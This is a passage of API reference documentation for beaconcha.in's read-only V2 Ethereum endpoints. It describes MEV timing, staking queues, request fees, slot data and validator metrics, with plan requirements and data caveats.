gaps or inconsistent reporting can make the recorded ladder incomplete. Verify included block fields separately. Results are ordered by arrival time and paginated. An optional `slot_offset_ms_range` filters bids by their slot offset. **Note:** MEV relay and timing data is only available on mainnet at this time. **History:** Relay bid collection began on 2024-06-03 (UTC). No bids are recorded for slots before that date — including all pre-Merge blocks — so the bid ladder is empty for them. Data freshness: per-slot relay statistics lag the chain head by roughly 4 hours. **Premium Endpoint:** This endpoint requires a Scale or Enterprise plan. beaconcha.in POST /api/v2/ethereum/block/mev-bids. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/block/mev-bids. Scopes: api. beaconchain_post_api_v2_ethereum_block_mev_timing (read) — Returns the MEV timing-game outcome for a single block: the winning relay bid, the earliest later bid that would have beaten it (`first_better_bid`), the highest-value later bid (`best_later_bid`), the value left on the table, and the winning relay and builder. **Use case guide:** [Investigate a Block](https://docs.beaconcha.in/use-cases/investigate-mev-block) shows how to interpret the winning bid, later alternatives, and missed value. **Protocol caveat:** The 1200 ms and 2600 ms timing bands apply to pre-Glamsterdam slots. [Glamsterdam](https://ethereum.org/roadmap/glamsterdam/) introduces ePBS and restructures slot production, so post-fork classifications may change. **Data provenance:** Timing and bid fields are derived from offchain relay APIs and streams. Relay-reported timestamps, identities, and bid coverage are not independently verifiable from onchain data; verify included block fields separately. Resolve a block by number or the keywords "latest" / "finalized". Pair this with [/api/v2/ethereum/validators/proposal-slots](https://docs.beaconcha.in/api-reference/ethereum/validators/proposal-slots) to drill into a specific proposal. **Note:** MEV relay and timing data is only available on mainnet at this time. **History:** Relay bid collection began on 2024-06-03 (UTC). Blocks before that date — including all pre-Merge blocks — return status `unknown`, since the absence of relay data means the timing outcome is not known rather than that no MEV occurred. Data freshness: per-slot relay statistics lag the chain head by roughly 4 hours. A block newer than the latest aggregated slot returns status `pending` until the data catches up. beaconcha.in POST /api/v2/ethereum/block/mev-timing. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/block/mev-timing. Scopes: api. beaconchain_post_api_v2_ethereum_block_rewards (read) — Offers detailed insights into the execution layer rewards for a specific block, including transaction fees and MEV (Maximal Extractable Value). You can query using a block number or the keywords "latest" / "finalized". beaconcha.in POST /api/v2/ethereum/block/rewards. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/block/rewards. Scopes: api. beaconchain_post_api_v2_ethereum_config (read) — Returns the current configuration parameters of the network. beaconcha.in POST /api/v2/ethereum/config. Read-only: POST is how the V2 API takes a query body; nothing is changed. The spec documents no success body for this endpoint; measured 2026-09-14 on a Free Trial key it answered 200 with an empty object. POST /api/v1/beaconchain/api/v2/ethereum/config. Scopes: api. beaconchain_post_api_v2_ethereum_entities (read) — Returns an overview of all entities with their validator count, BeaconScore®, and net share. **Use case guide:** [Entity benchmarking](https://docs.beaconcha.in/use-cases/entity-benchmarking-overview) explains how to rank entities and compare an operator with the network baseline. Results can be sorted by `beaconscore`, `net_share`, `validator_count`, or `sub_entity_count` in ascending or descending order. By default, results are sorted by `net_share` in descending order. **Note:** The underlying data is precomputed and updated hourly. `all_time` evaluation window is not supported for this endpoint. **Premium Endpoint:** This endpoint requires a Scale or Enterprise plan. **Attribution Required:** If you display BeaconScore® data publicly, you must include appropriate attribution. See our [BeaconScore® License](https://docs.beaconcha.in/legal/beaconscore-license) and [License Materials](https://docs.beaconcha.in/legal/license-materials) for badges and usage guidelines. beaconcha.in POST /api/v2/ethereum/entities. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/entities. Scopes: api. beaconchain_post_api_v2_ethereum_entity_mev_timing (read) — Returns an entity's MEV timing-game statistics as a per-day series. Optionally scope to a sub-entity; omit `sub_entity` for the entity-level rows. **Use case guide:** [Compare MEV Timing](https://docs.beaconcha.in/use-cases/compare-mev-timing) shows how to benchmark an entity or sub-entity against the network. **Protocol caveat:** The 1200 ms and 2600 ms timing bands apply to pre-Glamsterdam slots. [Glamsterdam](https://ethereum.org/roadmap/glamsterdam/) introduces ePBS and restructures slot production, so post-fork classifications may change. **Data provenance:** Timing statistics are derived from offchain relay APIs and streams. Relay-reported timestamps, identities, and bid coverage are not independently verifiable from onchain data; coverage gaps or inconsistent reporting can affect results. Results can be filtered by a time range (bucketed to whole UTC days) and are paginated. For an aggregated posture and histogram over an entity (rather than a daily series), use [/api/v2/ethereum/validators/mev-timing-aggregate](https://docs.beaconcha.in/api-reference/ethereum/validators/mev-timing-aggregate) with its entity selector. **Note:** MEV relay and timing data is only available on mainnet at this time. **History:** Relay bid collection began on 2024-06-03 (UTC). The series contains no days before that date; a time range that falls entirely before it returns an empty result. Data freshness: the most recent ~3 days of daily aggregates are reprocessed and may still change. **Premium Endpoint:** This endpoint requires a Scale or Enterprise plan. beaconcha.in POST /api/v2/ethereum/entity/mev-timing. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/entity/mev-timing. Scopes: api. beaconchain_post_api_v2_ethereum_entity_sub_entities (read) — Returns an overview of all sub-entities associated with a given entity, including their validator count, BeaconScore®, and net share. **Use case guide:** [Entity benchmarking](https://docs.beaconcha.in/use-cases/entity-benchmarking-overview) explains how to drill from a public entity into its sub-entities and compare them with the network. Results can be sorted by `beaconscore`, `net_share`, or `validator_count` in ascending or descending order. By default, results are sorted by `net_share` in descending order. **Note:** The underlying data is precomputed and updated hourly. `all_time` evaluation window is not supported for this endpoint. **Premium Endpoint:** This endpoint requires a Scale or Enterprise plan. **Attribution Required:** If you display BeaconScore® data publicly, you must include appropriate attribution. See our [BeaconScore® License](https://docs.beaconcha.in/legal/beaconscore-license) and [License Materials](https://docs.beaconcha.in/legal/license-materials) for badges and usage guidelines. beaconcha.in POST /api/v2/ethereum/entity/sub-entities. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/entity/sub-entities. Scopes: api. beaconchain_post_api_v2_ethereum_epoch (read) — Returns a rolled-up overview of a single consensus layer epoch. In Ethereum, an epoch is a fixed window of consensus layer slots (32 on Ethereum Mainnet) over which validator attestations are aggregated and finality is determined. This endpoint summarizes network-wide activity for the epoch: validator participation, balances, block proposal outcomes, and the protocol events (deposits, withdrawals, exits, slashings) included across its slots. Think of it as a per-epoch starting point: the `slots` range tells you which slots belong to the epoch so you can drill into per-slot detail via [v2/ethereum/slot](https://docs.beaconcha.in/api-reference/ethereum/slot/overview), and the counts point you to the more specific endpoints for each topic. You can query by epoch number, or use "latest" / "finalized" for the most recent or finalized epoch. The "finalized" view can lag the chain's latest finalized epoch by up to one epoch so that every metric of the returned epoch is fully populated. Note: for an epoch whose duties have not yet been fully aggregated (the most recent epochs, whether not-yet-finalized or queried by number just after finalization) the participation- and performance-based fields (`attesting_balance`, `participation_rate`, `attestation_participation`, `sync_participation`, `beaconscore`) are `null` — check `finality` to tell an in-progress epoch apart, and query "finalized" for a complete, stable response. beaconcha.in POST /api/v2/ethereum/epoch. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/epoch. Scopes: api. beaconchain_post_api_v2_ethereum_eth_store (read) — Returns ETH.STORE® — the staking benchmark measuring the average return that validators on the Ethereum network achieved over each 24-hour period. Each datapoint covers one beaconchain-day (a fixed window of `86400 ÷ seconds_per_slot ÷ slots_per_epoch` epochs, indexed by the number of whole days elapsed since genesis) and aggregates every validator that was active for the full day. Each datapoint reports the effective, start, and end balances, the deposits credited during the day, and the rewards split into consensus-layer (attestation, sync-committee, proposal) and execution-layer (priority transaction fees and MEV) components. The annualized rate of return (APR) is given for each layer and combined, together with 7-day and 31-day trailing averages that smooth out day-to-day variance. Results are returned one datapoint per day, most recent first. Free plans select a trailing evaluation window (`24h` for the latest datapoint, up to `all_time` with pagination for the full history). [Scale and Enterprise plans](https://beaconcha.in/pricing) can additionally request an arbitrary range by Unix timestamp, epoch, or slot. Because a datapoint is computed only after its day has finalized, every returned value is immutable and safe to cache indefinitely. ETH.STORE® is not made available for use as a benchmark, whether in relation to a financial instrument, financial contract or to measure the performance of an investment fund, or otherwise in a way that would require it to be administered by a benchmark administrator pursuant to the EU Benchmarks Regulation. Currently Bitfly does not grant any right to access or use ETH.STORE® for such purpose. beaconcha.in POST /api/v2/ethereum/eth-store. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/eth-store. Scopes: api. beaconchain_post_api_v2_ethereum_mev_timing (read) — Returns network-wide MEV timing-game statistics as a per-day series. Each day carries the slot counts, a timing breakdown, the median slot offset, and the full histogram. **Use case guide:** [Compare MEV Timing](https://docs.beaconcha.in/use-cases/compare-mev-timing) shows how to compare daily network, entity, and validator-set behavior. **Protocol caveat:** The 1200 ms and 2600 ms timing bands apply to pre-Glamsterdam slots. [Glamsterdam](https://ethereum.org/roadmap/glamsterdam/) introduces ePBS and restructures slot production, so post-fork classifications may change. **Data provenance:** Timing statistics are derived from offchain relay APIs and streams. Relay-reported timestamps, identities, and bid coverage are not independently verifiable from onchain data; coverage gaps or inconsistent reporting can affect results. Results can be filtered by a time range (bucketed to whole UTC days) and are paginated. Use `min_slots_per_day` to exclude sparsely-covered days. **Note:** MEV relay and timing data is only available on mainnet at this time. **History:** Relay bid collection began on 2024-06-03 (UTC). The series contains no days before that date; a time range that falls entirely before it returns an empty result. Data freshness: the most recent ~3 days of daily aggregates are reprocessed and may still change. beaconcha.in POST /api/v2/ethereum/mev-timing. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/mev-timing. Scopes: api. beaconchain_post_api_v2_ethereum_performance_aggregate (read) — Returns aggregated performance metrics for the entire network in the given time range. **Use case guide:** [Entity benchmarking](https://docs.beaconcha.in/use-cases/entity-benchmarking-overview) uses this endpoint as the network baseline for public and private validator-set comparisons. Must provide either start + end times or epochs **Custom time ranges:** Query arbitrary time ranges using Unix timestamps, epochs, or slots — exclusively for [Scale and Enterprise plans](https://beaconcha.in/pricing). Custom ranges are served at whole-UTC-day granularity (partial days are rounded outward), and the response `range` reports the actual covered range. beaconcha.in POST /api/v2/ethereum/performance-aggregate. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/performance-aggregate. Scopes: api. beaconchain_post_api_v2_ethereum_queues (read) — Returns information about the various staking-related queues (deposit, exit, full withdrawal, consolidation, compounding switch) and how long the expected wait time is. **Use case guide:** [Queue tracking](https://docs.beaconcha.in/use-cases/queue-tracking) explains how to choose between network and validator queue views, estimate wait times, and measure staking flows. The `estimated_processed_at` field in each queue always refers to the very last item in the network queue (i.e. when the entire queue will be fully processed). For per-validator queue details, use: - [/api/v2/ethereum/validators/queues](https://docs.beaconcha.in/api-reference/ethereum/validators/queues) — overview per validator ### Deprecation Notice This notice only affects you if your requests do **not** send the `Accept: application/vnd.beaconcha.in.v2.1+json` header — such requests currently receive the legacy v2 schema. The legacy schema is deprecated and will be sunset on 02.07.2026 23:59:59 UTC. After that date, all requests receive the new v2.1 schema regardless of the `Accept` header, which will break your response parsing if you have not migrated. To migrate, send the `Accept: application/vnd.beaconcha.in.v2.1+json` header and adapt your parsing to the v2.1 schema shown in the response section below. To review the legacy schema you are currently receiving, select v2 from the **Content-Type dropdown** in the top-right corner of the response section. beaconcha.in POST /api/v2/ethereum/queues. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/queues. Scopes: api. beaconchain_post_api_v2_ethereum_queues_history (read) — Returns a history of the staking queue sizes — how much ETH is waiting to enter and leave staking over time. Each entry is a snapshot of the staking queues at one epoch. History begins at the Pectra fork, which is where the queues themselves begin: the pending deposit, consolidation and partial-withdrawal queues are Pectra state fields, so there is nothing to report before it. How far back a given request reaches also depends on `granularity` — see that field for the two floors and how out-of-range requests are handled. An epoch with no usable snapshot is omitted from the series rather than returned as an empty entry, so entries are not guaranteed to be evenly spaced. Read `epoch` and `timestamp` on each entry rather than inferring them from position. Each entry covers the four queues the snapshot records. The `withdrawal_sweep` and `compounding_switch_queue` entries of the live endpoint have no historical counterpart and are not returned here. For the current point-in-time queue state, see [/api/v2/ethereum/queues](https://docs.beaconcha.in/api-reference/ethereum/queues). beaconcha.in POST /api/v2/ethereum/queues/history. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/queues/history. Scopes: api. beaconchain_post_api_v2_ethereum_queues_request_fees (read) — Returns what it costs to submit a withdrawal or consolidation request to the execution layer, as observed history: one entry per execution layer block that saw at least one request, most recent block first. Two contracts charge such a fee, and `type_filter` selects between them — the EIP-7002 contract for execution-layer triggered partial withdrawals and full exits, and the EIP-7251 contract for consolidations and compounding switches. Deposits are free, so they do not appear here. Every request that a validator queue endpoint reports as `pending` paid one of these fees. Both contracts price requests with an EIP-1559 style mechanism: the fee starts at a floor of 1 wei and climbs exponentially while submissions exceed the per-block target, then decays back toward the floor once demand drops. A mass exit or mass consolidation event therefore lifts the fee well above the floor for as long as it lasts. Operators batching many exits or consolidations can use this history to judge whether they are submitting into such a period. ### What these numbers are, and what they are not This endpoint reports **fees actually paid**, derived from the value sent with each request transaction. It is not a fee oracle and does not read the contracts' current fee. - `fee_min` is the best available estimate of the protocol-required fee in that block, because no submitter can pay less than the contract demands. - `fee_max` may exceed it. The contracts do not refund an overpayment, and some tooling deliberately overpays so the transaction still succeeds if the fee rises between signing and inclusion. - Blocks with no requests are absent from the response. A gap does not mean the fee is unknown: with no submissions the fee decays deterministically toward the 1 wei floor, so a long gap implies the fee has returned to the floor. This endpoint reports historic state only and must not be used as a fee oracle. Its most recent entry is a fee that was already paid in a past block, not the fee your own submission has to pay. For the fee that applies to the next block, use [/api/v2/ethereum/queues/request-fees/current](https://docs.beaconcha.in/api-reference/ethereum/queues/request-fees/current). To obtain the exact fee for a request you are about to submit, call the contract itself with empty calldata — that is the only authoritative source. Results can be filtered by a time range and are paginated. Omit `range` to cover the whole available history starting at the most recent block; this endpoint is network-wide, so no validator selection is involved. Supply a `range` to reach a past congestion event instead of paging back to it. The `range` in the response reports the span the returned entries actually cover, not the span you asked for. You can combine this endpoint with: - Inspect the individual requests that paid these fees, and the fee each one paid: [/api/v2/ethereum/slot/consolidations](https://docs.beaconcha.in/api-reference/ethereum/consolidations) and [/api/v2/ethereum/slot/withdrawals](https://docs.beaconcha.in/api-reference/ethereum/withdrawals) - Check the fee environment your own validators' requests were submitted into, using the execution layer block from their `stage_history`: [/api/v2/ethereum/validators/queues/consolidations](https://docs.beaconcha.in/api-reference/ethereum/validators/queues/consolidations) Data is available from the Pectra fork (7 May 2025) onwards. On mainnet the first consolidation request was submitted in execution layer block 22431119 and the first withdrawal request in block 22431159, both on 7 May 2025. A range that falls entirely before Pectra returns `200` with an empty `data` array. beaconcha.in POST /api/v2/ethereum/queues/request-fees. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/queues/request-fees. Scopes: api. beaconchain_post_api_v2_ethereum_queues_request_fees_current (read) — Returns what it costs to submit a withdrawal or consolidation request to the execution layer right now: one entry per request type. The value is the fee that applies to the next block, so it is what your submission pays if it is included immediately. Two request types carry such a fee, and `request_type` tells the entries apart — EIP-7002 requests, which are execution-layer triggered partial withdrawals and full exits, and EIP-7251 requests, which are consolidations and compounding switches. Deposits are free, so they do not appear here. Both types are priced with an EIP-1559 style mechanism: the fee starts at a floor of 1 wei and climbs exponentially while submissions exceed the per-block target, then decays back toward the floor once demand drops. The climb has no per-block ceiling, so a single busy block can raise the fee by orders of magnitude. The fee reported here is not guaranteed to be sufficient by submission time, because it can still change in the block your transaction lands in. An overpayment is not refunded, and an underpayment makes the call revert. No fixed margin is safe in all conditions, so you must decide your own trade between paying above the reported value and risking a revert. Read the fee immediately before you submit, and during a congestion period read it again as close to submission as possible. To obtain the exact fee for a request you are about to submit, call the contract itself with empty calldata — that is the only authoritative source. ### Freshness The fee is read approximately every 4 seconds, so a new execution layer block is normally picked up within a few seconds of it landing. Every entry carries the execution layer `block` and `timestamp` it was read at, so you can compare `timestamp` to the current time to judge its age. Because `timestamp` is the block's own time, a normal age is anywhere inside the current slot, and a missed slot adds a further slot to it. This endpoint does not serve a fee it knows to be stale. If the underlying data stops advancing, it returns `503` instead of a `200` that carries an out-of-date value, because a fee that is too low makes your submission revert. Treat `503` as retryable, and do not fall back to a cached fee without a new age check. The response always carries one entry per request type. It is never `200` with an empty `data` array: either both fees are known, or the endpoint answers `503`. This endpoint describes only the present. For the fee history, see [/api/v2/ethereum/queues/request-fees](https://docs.beaconcha.in/api-reference/ethereum/queues/request-fees). beaconcha.in POST /api/v2/ethereum/queues/request-fees/current. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/queues/request-fees/current. Scopes: api. beaconchain_post_api_v2_ethereum_slot (read) — Returns detailed information about a specific consensus layer slot. In Ethereum, "slots" are data containers on the consensus layer where validator duties are scheduled and blocks may be proposed. Each slot may reference a block, but a slot can also be missed. This endpoint provides an overview of the requested slot, including its status (proposed, missed, scheduled), assigned proposer, participation metrics, protocol events (deposits, withdrawals, slashings), and other relevant details. You can query by slot number, block root hash, or use "latest" / "finalized" for the most recent or finalized slot. beaconcha.in POST /api/v2/ethereum/slot. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/slot. Scopes: api. beaconchain_post_api_v2_ethereum_slot_attestation_duties (read) — Provides detailed status and reward information about attestation duties assigned to validators for a specific slot. The validator filter is optional; if omitted, results include all validators assigned attestation duties for the slot. The response only includes attestation duties scheduled for the specified slot, not attestations included in this slot. Use the reward endpoints for epoch based attestation rewards information. You can combine this endpoint with: - Find attestations slots your validators were assigned to: [v2/ethereum/validators/attestation-slots](https://docs.beaconcha.in/api-reference/ethereum/validators/attestation-slots) beaconcha.in POST /api/v2/ethereum/slot/attestation-duties. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/slot/attestation-duties. Scopes: api. beaconchain_post_api_v2_ethereum_slot_consolidations (read) — Returns the EIP-7251 requests carried by the block at the specified slot: validator consolidations and switches to compounding withdrawal credentials. Both kinds arrive through the same execution-layer contract with the same fields, including a source and a target public key. The consensus layer distinguishes them by whether those keys are equal: - `consolidation` — the keys differ. The source validator exits and its balance moves to the target, which must already have compounding (`0x02`) withdrawal credentials. - `compounding_switch` — the keys are identical. Nothing exits and no balance moves; the request only changes that validator's withdrawal credentials from `0x01` to `0x02`. The `type` field reports which kind an entry is, so you do not have to compare public keys yourself. Use `type_filter` to narrow the response to one kind. Results are anchored to the slot whose block body carried the request. For a consolidation the resulting balance transfer settles later, when the pending consolidation queue drains to it; that settlement slot is reported in `stage_history.consensus_layer_processed` and is not used for filtering. A compounding switch is applied at inclusion, so both slots are the same. Rejected requests are included. A request rejected at inclusion reached a block but changed no state, so `stage_history.consensus_layer_processed` is null and, for consolidations, a `reject_reason` is set. Because of that delay a past slot's response is **not** immutable straight away: a `queued` consolidation keeps its inclusion slot but gains `amount` and `stage_history.consensus_layer_processed`, and flips to `completed`, long after the slot itself finalized. Cache a slot's response indefinitely only once no entry in it is `queued`; entries that are `completed` or `rejected` are terminal. Data is available from the Pectra fork (epoch 364032, first slot 11649024, 7 May 2025) onwards. On mainnet the earliest request observed is in slot 11649029. Slots before Pectra, and slots that carried no such request, return `200` with an empty `data` array. The validator filter is optional; if omitted, results include every request in the slot. A validator matches when it is either the source or the target of the request. You can combine this endpoint with: - Track consolidations for your own validators across all slots: [/api/v2/ethereum/validators/queues/consolidations](https://docs.beaconcha.in/api-reference/ethereum/validators/queues/consolidations) - Track compounding switches for your own validators: [/api/v2/ethereum/validators/queues/compounding-switches](https://docs.beaconcha.in/api-reference/ethereum/validators/queues/compounding-switches) - Compare the fee in `request.fee` against every other request submitted in the same execution layer block: [/api/v2/ethereum/queues/request-fees](https://docs.beaconcha.in/api-reference/ethereum/queues/request-fees) beaconcha.in POST /api/v2/ethereum/slot/consolidations. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/slot/consolidations. Scopes: api. beaconchain_post_api_v2_ethereum_slot_deposits (read) — Returns comprehensive details about all validator deposits processed in the specified slot. The validator filter is optional; if omitted, results include all deposits processed in the slot. Results may include *system deposits* — protocol-generated deposits that are not initiated by a user, such as the deposit created when a validator switches to compounding. See [System deposits and withdrawals](https://docs.beaconcha.in/faqs/system-deposits-and-withdrawals) for details. You can combine this endpoint with: - Find deposits associated with your validators: [v2/ethereum/validators/deposit-slots](https://docs.beaconcha.in/api-reference/ethereum/validators/deposit-slots) beaconcha.in POST /api/v2/ethereum/slot/deposits. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/slot/deposits. Scopes: api. beaconchain_post_api_v2_ethereum_slot_sync_committee_duties (read) — Provides status and reward information about sync committee duties for a specific slot for each validator. The validator filter is optional; if omitted, results include all validators assigned sync duties for the slot. This endpoint currently only supports finalized data. Use the reward endpoints for epoch based attestation rewards information. You can combine this endpoint with: - Find periods your validators were part in: [v2/ethereum/validators/sync-committee-periods](https://docs.beaconcha.in/api-reference/ethereum/validators/sync-committee-periods) - Sync committee overview: [v2/ethereum/sync-committee](https://docs.beaconcha.in/api-reference/ethereum/sync-committee/overview) beaconcha.in POST /api/v2/ethereum/slot/sync-committee-duties. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/slot/sync-committee-duties. Scopes: api. beaconchain_post_api_v2_ethereum_slot_withdrawals (read) — Returns comprehensive details about all validator withdrawals processed in the specified slot. The validator filter is optional; if omitted, results include all withdrawals processed in the slot. Results may include *system withdrawals* — protocol-generated withdrawals that are not initiated by a user, such as the withdrawal created when a validator switches to compounding. See [System deposits and withdrawals](https://docs.beaconcha.in/faqs/system-deposits-and-withdrawals) for details. Use this endpoint to quickly identify all relevant withdrawals for a slot. You can combine this endpoint with: - Find withdrawals associated with your validators: [v2/ethereum/validators/withdrawal-slots](https://docs.beaconcha.in/api-reference/ethereum/validators/withdrawal-slots) beaconcha.in POST /api/v2/ethereum/slot/withdrawals. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/slot/withdrawals. Scopes: api. beaconchain_post_api_v2_ethereum_state (read) — Returns the explorer's current view of the Ethereum chain, including network health, validator counts, balances, and finality status. Unlike most API endpoints where processing lag is invisible, this endpoint explicitly exposes how far behind the explorer is relative to the actual chain head (see `data_freshness`). Use it to determine whether the data you're querying from other endpoints is sufficiently up-to-date for your use case. beaconcha.in POST /api/v2/ethereum/state. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/state. Scopes: api. beaconchain_post_api_v2_ethereum_state_validator_statuses (read) — Returns the distribution of validator states across the network or a given validator filter. By default it returns the network distribution, but you might pass the optional validator filter to get a breakdown of states for a specific set of validators (e.g. your own). beaconcha.in POST /api/v2/ethereum/state/validator-statuses. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/state/validator-statuses. Scopes: api. beaconchain_post_api_v2_ethereum_sync_committee (read) — Returns basic sync committee information for a particular sync period. Use this to determine the range of epochs a given sync period entails. You can combine this endpoint with: - Validators in sync committee period: [v2/ethereum/sync-committee/validators](https://docs.beaconcha.in/api-reference/ethereum/sync-committee/validators) beaconcha.in POST /api/v2/ethereum/sync-committee. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/sync-committee. Scopes: api. beaconchain_post_api_v2_ethereum_sync_committee_validators (read) — Returns the validators in the sync committee for a particular sync period. You can combine this endpoint with: - Sync Committee Period Overview: [v2/ethereum/sync-committee](https://docs.beaconcha.in/api-reference/ethereum/sync-committee) Response can be filtered to a specific set of validators by providing optional **validator** identifiers in the request body. beaconcha.in POST /api/v2/ethereum/sync-committee/validators. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/sync-committee/validators. Scopes: api. beaconchain_post_api_v2_ethereum_validators (read) — Returns basic information about a set of validators at the current epoch. Data returned by the endpoint is based on the latest completed epoch of the beacon chain (not finalized). beaconcha.in POST /api/v2/ethereum/validators. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/validators. Scopes: api. beaconchain_post_api_v2_ethereum_validators_apy_roi (read) — Returns the annual percentage yield (APY) and return on investment (ROI) for a known collection or group of validators. Known collections are referenced by index, public key, deposit address, or withdrawal address. **Use case guide:** [APY & ROI metrics](https://docs.beaconcha.in/use-cases/apy-roi) explains how to choose a window, interpret return metrics, and decide when BeaconScore® is the better comparison. For comparing performance across different staking providers, we recommend using the BeaconScore® from the Performance Aggregated endpoints instead of APY or ROI, as BeaconScore® normalizes for luck and provides a fairer comparison. Note that some residual luck factors outside a validator's control can still influence BeaconScore®, especially over short evaluation windows. See the Residual Luck Factors section in the BeaconScore® documentation for details. **Coming Soon:** Support for querying arbitrary time ranges using Unix timestamps, epochs, or slots — exclusively for [Scale and Enterprise plans](https://beaconcha.in/pricing). beaconcha.in POST /api/v2/ethereum/validators/apy-roi. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/validators/apy-roi. Scopes: api. beaconchain_post_api_v2_ethereum_validators_attestation_slots (read) — Returns all slot numbers where the specified validators were assigned attestation duties, grouped by slot. Each result shows a slot number and the count of your validators that attested in that slot. This is useful for tracking when your validators attested and identifying slots where they may have missed attestations. For example, querying one epoch with 200 validators returns up to 32 results (one per slot in the epoch) rather than 200 individual validator-slot pairs. Combine this endpoint with others for deeper insights: - Consensus slot information: [v2/ethereum/slot](https://docs.beaconcha.in/api-reference/ethereum/slot/overview) This endpoint serves as a high-level overview, while other endpoints provide detailed data for specific slots or validators. Results can be filtered by a time range. Note: This endpoint supports **only finalized** data at this time. beaconcha.in POST /api/v2/ethereum/validators/attestation-slots. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/validators/attestation-slots. Scopes: api. beaconchain_post_api_v2_ethereum_validators_balances (read) — Returns the balances for a set of validators at a particular epoch beaconcha.in POST /api/v2/ethereum/validators/balances. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/validators/balances. Scopes: api. beaconchain_post_api_v2_ethereum_validators_best_maintenance_window (read) — Returns the optimal window for node maintenance with the lowest predicted impact on BeaconScore® and rewards for a pre-computed set of validators, considering the current and next epoch. The endpoint analyzes upcoming validator duties (attestation, proposal, sync committee) and predicts, for the next two epochs, the time range where missing a sequence of slots would have the least negative effect on your BeaconScore® and earnings. - The response includes a recommended maintenance window, warnings if a proposal or sync committee duty is imminent, and a "try next" field indicating when new predictions will be available (e.g., after the next epoch transition). - If a sync committee period is about to start in the next epoch, the endpoint will recommend maintenance now, as the next safe window may not occur for ~28 hours. - The algorithm simulates missing x sequential slots and identifies the period with minimal predicted loss. **Fields:** - `best_maintenance_window`: The suggested time range for maintenance. - `warning`: Alerts for upcoming proposal or sync committee duties that may impact risk. - `try_next`: Timestamp when new predictions will be available (e.g., after exporter finishes processing the next epoch). **Note:** The optimal window is based on the latest available duty assignments, which are only known one epoch in advance and may change as new data is processed. beaconcha.in POST /api/v2/ethereum/validators/best-maintenance-window. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/validators/best-maintenance-window. Scopes: api. beaconchain_post_api_v2_ethereum_validators_deposit_slots (read) — Returns a list of deposit events for your selected validators. Use this endpoint to quickly identify all relevant deposits for your validator set. You can combine this endpoint with: - Deposit detail from slot: [v2/ethereum/slot/deposits](https://docs.beaconcha.in/api-reference/ethereum/slot/deposits) - Consensus slot information: [v2/ethereum/slot](https://docs.beaconcha.in/api-reference/ethereum/slot/overview) Note: [v2/ethereum/slot/deposits](https://docs.beaconcha.in/api-reference/ethereum/slot/deposits) returns deposits by the slot they were **processed** in. Rows whose `observed_stages` do not include `consensus_layer_processed` describe a deposit that was still queued at that slot and cannot be looked up there. To get only rows with detail available, set `stage_filter: ["consensus_layer_processed"]`. Results can be filtered by a time range. beaconcha.in POST /api/v2/ethereum/validators/deposit-slots. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/validators/deposit-slots. Scopes: api. beaconchain_post_api_v2_ethereum_validators_metadata (read) — Returns metadata for a set of validators, including their index, public key, deposit address, withdrawal address, entity, and sub-entity. **Use case guide:** [Entity benchmarking](https://docs.beaconcha.in/use-cases/entity-benchmarking-overview) uses validator metadata to map validators to public entities and sub-entities. Results are paginated with a default and maximum page size of 10. Ideal for discovering validator associations; use the results to supply filters in other endpoints via the validator selector. **Note:** Entity and sub-entity assignments are updated once per day. **Premium Endpoint:** This endpoint requires a Scale or Enterprise plan. beaconcha.in POST /api/v2/ethereum/validators/metadata. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/validators/metadata. Scopes: api. beaconchain_post_api_v2_ethereum_validators_mev_timing_aggregate (read) — Returns the overall MEV timing posture and histogram for a set of validators over a fixed evaluation window. The validator set may be selected by identifiers, dashboard, withdrawal/deposit address, or entity/sub-entity. **Use case guide:** [Compare MEV Timing](https://docs.beaconcha.in/use-cases/compare-mev-timing) shows how to profile validator cohorts and interpret their timing distribution. **Protocol caveat:** The 1200 ms and 2600 ms timing 